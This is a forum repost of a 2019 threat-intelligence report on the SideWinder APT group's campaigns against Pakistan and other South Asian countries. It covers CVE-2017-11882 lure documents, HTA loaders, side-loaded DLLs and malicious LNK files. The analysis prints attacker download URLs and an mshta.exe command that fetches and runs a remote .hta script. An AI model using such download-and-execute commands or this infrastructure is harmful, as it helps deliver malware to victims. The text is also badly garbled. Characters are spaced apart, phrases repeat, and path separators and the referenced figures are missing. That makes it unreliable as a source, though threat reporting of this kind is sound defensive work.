搜索

[13804] 2019-02-27_响尾蛇（SideWinder）APT组织针对南亚国家的攻击活动披露

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2019-02-27_响尾蛇（SideWinder）APT组织针对南亚国家的攻击活动披露 响 尾 蛇 （ S i d e W i n d e r ） A P T 组 织 针 对 南 亚 国 家 的 攻 击 活 动 披 露 腾 讯 电 脑 管 家   F r e e B u f   2 0 1 9 - 0 2 - 2 7 一 、 一 、 概 述 概 述 从 从   2 0 1 7   年 底 到 年 底 到   2 0 1 9   年 初 ， 腾 讯 御 见 威 胁 情 报 中 心 发 现 一 个 疑 似 来 自 印 度 的 年 初 ， 腾 讯 御 见 威 胁 情 报 中 心 发 现 一 个 疑 似 来 自 印 度 的   A P T   攻 击 组 织 持 续 针 对 巴 基 斯 坦 攻 击 组 织 持 续 针 对 巴 基 斯 坦 等 南 亚 国 家 的 军 事 目 标 进 行 了 定 向 攻 击 。 腾 讯 御 见 威 胁 情 报 中 心 对 该 组 织 的 攻 击 活 动 进 行 了 长 期 的 深 入 分 析 ， 等 南 亚 国 家 的 军 事 目 标 进 行 了 定 向 攻 击 。 腾 讯 御 见 威 胁 情 报 中 心 对 该 组 织 的 攻 击 活 动 进 行 了 长 期 的 深 入 分 析 ， 从 溯 源 结 果 来 看 ， 该 组 织 的 最 早 的 攻 击 活 动 可 以 追 溯 到 从 溯 源 结 果 来 看 ， 该 组 织 的 最 早 的 攻 击 活 动 可 以 追 溯 到   2 0 1 2   年 。 年 。 从 御 见 威 胁 情 报 中 心 的 分 析 结 果 来 判 断 ， 该 组 织 的 背 景 跟 卡 巴 斯 基 在   2 0 1 8   年 第 一 季 度 报 告 中 提 到 的   S i d e W i n d e r   组 织 非 常 的 相 似 ， 虽 然 卡 巴 斯 基 并 未 发 布 任 何 该 组 织 的 技 术 细 节 和 报 告 。 我 们 继 续 沿 用 卡 巴 斯 基 的 命 名 ， 命 名 该 组 织 为 " 响 尾 蛇 " （ S i d e W i n d e r 、 T - A P T - 0 4 ） 。 腾 讯 御 见 威 胁 情 报 中 心 曾 在   2 0 1 8   年   5   月 份 发 布 了 该 组 织 的 技 术 分 析 报 告 ， 而 此 后 腾 讯 御 见 威 胁 情 报 中 心 又 多 次 捕 捉 到 了 该 组 织 的 攻 击 活 动 。 并 且 从 分 析 结 果 来 看 ， 该 组 织 一 直 在 更 新 他 们 的 攻 击 技 术 ， 以 此 来 躲 避 安 全 软 件 的 拦 截 和 查 杀 。   二 、 二 、 最 新 样 本 技 术 分 析 最 新 样 本 技 术 分 析 1 、 攻 击 诱 饵 分 析 、 攻 击 诱 饵 分 析 本 次 攻 击 诱 饵 采 用   C V E - 2 0 1 7 - 1 1 8 8 2   漏 洞 进 行 攻 击 ， 打 开 后 并 无 任 何 内 容 。
触 发 漏 洞 后 ， 会 从 远 程 地 址 h t t p : / / c d n - d o . n e t / i n c l u d e s / b 7 1 9 9 e 6 1 / - 1 / 7 3 4 0 / d f d 9 a 1 d a / f i n a l 获 取   h t a ， 然 后 调 用 R u n H t m l A p p l i c a t i o n ， 将 命 令 行 中 的   f i n a l . h t a   执 行 ： 2 、 、 f i n a l . h t a   分 析 分 析 f i n a l . h t a   内 容 如 下 ：
h t a   脚 本 中 第 一 段   b a s e 6 4   字 符 串 解 码 后 ， 发 现 一 段   c #   代 码 及 一 个   p e   文 件 存 储 其 中 。 将 此   p e   文 件   d u m p   出 后 ， 发 现 其 名 称 为   P r e B o t H t a . d l l ： P r e B o t H t a . d l l   为 一   c #   语 言 编 写 的   d l l   文 件 。 H t a   脚 本 会 调 用   D y n a m i c I n v o k e   执 行   c #   代 码 ， 最 终 执 行   P r e B o t H t a . d l l 中 类 函 数   w o r k （ 类 名 为 「 p r e B o t H t a 」 ） 3 、 、 P r e B o t H t a . d l l   分 析 分 析 P r e B o t H t a   类 中 的 函 数 如 下 图 所 示 ：
W o r k   函 数 会 检 查 「 3 6 0 」 、 「 a v a s t 」 、 」 a v g 」 等 杀 软 是 否 存 在 ， 若 存 在 除 上 述 名 称 以 外 的 杀 毒 软 件 ， 就 上 报 杀 毒 软 件 的 名 称 到 h t t p : / / c d n - d o . n e t / p l u g i n s / - 1 / 7 3 4 0 / t r u e / t r u e / ； 接 着 会 设 置 开 机 自 启 动 项 「 c r e d w 1 「 ； 最 终 会 将   h t a   中 的 另 一 段   b a s e 6 4   解 码 解 压 缩 得 到   D u s e r . d l l ， 释 放 路 径 为 「 C : P r o g r a m D a t a d r v r s r v c 2 」 ， 并 利 用 微 软 自 带 的 程 序 c r e d w i z . e x e ， 将   D u s e r . d l l   给 执 行 起 来 ： 4 、 、 D u s e r . d l l   分 析 分 析 该   d l l   所 有 导 出 函 数 都 指 向 同 一 个 地 址   1 0 0 0 2 5 f 0 。 木 马 的 核 心 功 能 也 将 从 地 址 开 始 ：
主 要 功 能 是 先 利 用   u r l   h t t p : / / w w w . m i c r o s o f t . c o m 测 试 网 络 是 否 连 通 ， 接 着 下 载 一 个   j s   脚 本 并 执 行 此 脚 本 ， 下 载 地 址 为 h t t p : / / c d n - l i s t . n e t / K O m J g 2 X S t h l 3 P R h X n B 6 x T 6 W o 9 6 7 B 1 n 5 u G f 7 S f i B C / - 1 / 7 3 4 0 / b 7 2 9 d 3 0 c / c s s
由 于 捕 捉 到 样 本 时 ， 该 服 务 器 已 经 失 效 ， 因 此 无 法 继 续 分 析 下 载 回 的   j s 。 三 、 三 、 攻 击 技 术 特 点 攻 击 技 术 特 点 腾 讯 御 见 威 胁 情 报 中 心 对   S i d e W i n d e r   的 攻 击 活 动 进 行 了 持 续 的 跟 踪 ， 对 该 组 织 的 技 术 特 点 及 变 化 整 理 如 下 ： 攻 击 诱 饵 攻 击 诱 饵
该 组 织 的 攻 击 诱 饵 主 要 有 以 下 两 类 ： o f f i c e   文 档 和   l n k 。 1 、   l n k 如 某 次 攻 击 中 的 诱 饵 文 件 如 下 ： 执 行 该   l n k   后 ， 会 执 行 命 令 ： 「 % w i n d i r % s y s t e m 3 2 m s h t a . e x e   h t t p s : / / m s f t u p d a t e . s r v - c d n . c o m / c d n e / p l d s / z o x r 4 y r 5 K V . h t a 」 执 行 后 ， 最 终 会 使 用   p o w e r s h e l l   把 真 正 的   p d f   给 释 放 到 % t e m p % a m e n d - i n s - v i s i t - o n - a b r o a d - 1 5 - 1 1 - 2 0 1 7 . p d f   然 后 打 开 ，
并 且 从 h t t p s : / / m s f t u p d a t e . s r v - c d n . c o m / f i n . h t a 下 载 并 执 行   h t a   脚 本 。
2 、   o f f i c e   文 档 o f f i c e   文 档 是 该 组 织 最 喜 欢 的 攻 击 诱 饵 ， 捕 捉 到 的 攻 击 活 动 绝 大 部 分 都 使 用   o f f i c e   文 档 做 为 攻 击 诱 饵 。 并 且 都 使 用 C V E - 2 0 1 7 - 1 1 8 8 2   漏 洞 来 执 行 后 续 活 动 。 如 上 述 分 析 中 的 诱 饵 文 件 。 也 如 某 次 攻 击 的 诱 饵 文 档 ： 触 发 漏 洞 后 ， 会 从 h t t p : / / w w w . n a d r a . g o v . p k . d - d n s . c o / i n c l u d e s / 6 8 6 a 0 e a 5 / - 1 / 1 2 2 4 / f a 1 b 0 1 f b / f i n a l . h t a 下 载 最 终 执 行 的   h t a 脚 本 。 木 马 加 载 技 术 木 马 加 载 技 术 S i d e W i n d e r   组 织 的 恶 意 文 件 的 加 载 技 术 主 要 是 使 用   h t a   脚 本 和 白 加 黑 的 方 式 来 进 行 。 其 中   h t a   脚 本 用 来 做 一 些 初 始 化 的 操 作 ， 如 释 放 相 应 的 恶 意 文 件 等 ； 而 释 放 的 恶 意 文 件 采 用 白 加 黑 的 方 式 来 隐 藏 自 身 和 躲 避 拦 截 和 查 杀 。 但 是 在 持 续 跟 踪 过 程 中 ， 我 们 也 发 现 该 组 织 的 一 些 技 术 细 节 也 在 不 断 的 进 行 进 化 ， 根 据 该 变 化 我 们 把 它 分 为 三 个 阶 段 ： 1 、   阶 段 一 ： ~ 2 0 1 8   年   1 0   月 该 阶 段 主 要 使 用   h t a   脚 本 来 完 成 所 有 下 一 阶 段 的 初 始 化 的 工 作 ， 而 在   h t a   脚 本 中 使 用   p o w e r s h e l l   脚 本 来 进 行 。 如 某 次 攻 击 的   h t a   脚 本 ：
脚 本 中 」 b n m 「 变 量 存 储 的 一 段   b a s e 6 4   字 符 串 为 一   p o w e r s h e l l   脚 本 ， p 1 」 、 「 p 2 」 变 量 存 储 的 也 是   b a s e 6 4   字 符 串 ， 两 个 字 符 串 的 内 容 会 被 存 入   H K C U S o f t w a r e U p d a t e r p a r t 1   和 H K C U S o f t w a r e U p d a t e r p a r t 2   注 册 表 中 ， 这 两 个 字 符 串 其 实 就 是 后 续 的 木 马 文 件   c m p b k 3 2 . d l l   和   c m d l a 3 2 . e x e 。 b n m   变 量 解 密 出 的   p o w e r s h e l l   脚 本 内 容 如 下 所 示 ：
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理